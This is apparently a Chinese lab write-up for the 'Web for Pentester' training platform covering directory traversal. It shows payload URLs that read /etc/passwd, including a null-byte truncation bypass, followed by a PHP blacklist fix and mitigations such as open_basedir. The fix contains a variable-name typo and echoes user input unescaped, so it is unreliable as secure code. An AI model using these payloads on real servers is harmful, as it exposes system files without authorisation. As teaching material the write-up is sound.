• 【渗透测试学习平台】 web for pentester -4.目录遍历


    Example 1

    http://192.168.106.154/dirtrav/example1.php?file=../../../../../../../etc/passwd

    Example 2

    http://192.168.106.154/dirtrav/example2.php?file=/var/www/files/../../../../../../../etc/passwd

    代码会检测是否包含/var/www/files/字符串

    Example 3

    http://192.168.106.154/dirtrav/example3.php?file=../../../../../../../etc/passwd%00

    使用%00截断后面字符串,读取passwd文件

    修复方案:

    修复代码示例:

    <?php  
    function checkstr($str,$find){  
    $find_str=$find;  
    $tmparray=explode($find_str,$str);  
    if(count($tmparray)>1){  
    return true;  
    }else{  
    return false;}  
    }  
    $hostdir=$_REQUEST['path'];  
    if(!checkstr($hostdir,"..")&&!checkstr($jostdir,"../")){  
    echo $hostdir;  
    }else{  
    echo "请勿提交非法字符";  
    }  
    ?>  

    修复方案:

    过滤.(点)等可能的恶意字符:这个试用于能够修改线上代码,最为推荐的方法;

    正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置规则;

    php.ini 配置 open_basedir:这个参数值得的是用户只能访问的目录,作为不能修改线上代码时的备用方案。

    关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

  • 相关阅读:
    性能分析与调优思想
    python散列实现映射抽象数据类型
    python接口模拟100个用户登录
    大O记法
    linux查看操作系统版本信息
    Python招聘信息
    flask-login模块官网内容整理
    python|base|环境搭建
    echarts|map
    mysql|unsigned 与 signed 类型
  • 原文地址:https://www.cnblogs.com/xiaozi/p/6991864.html
Copyright © 2020-2023  润新知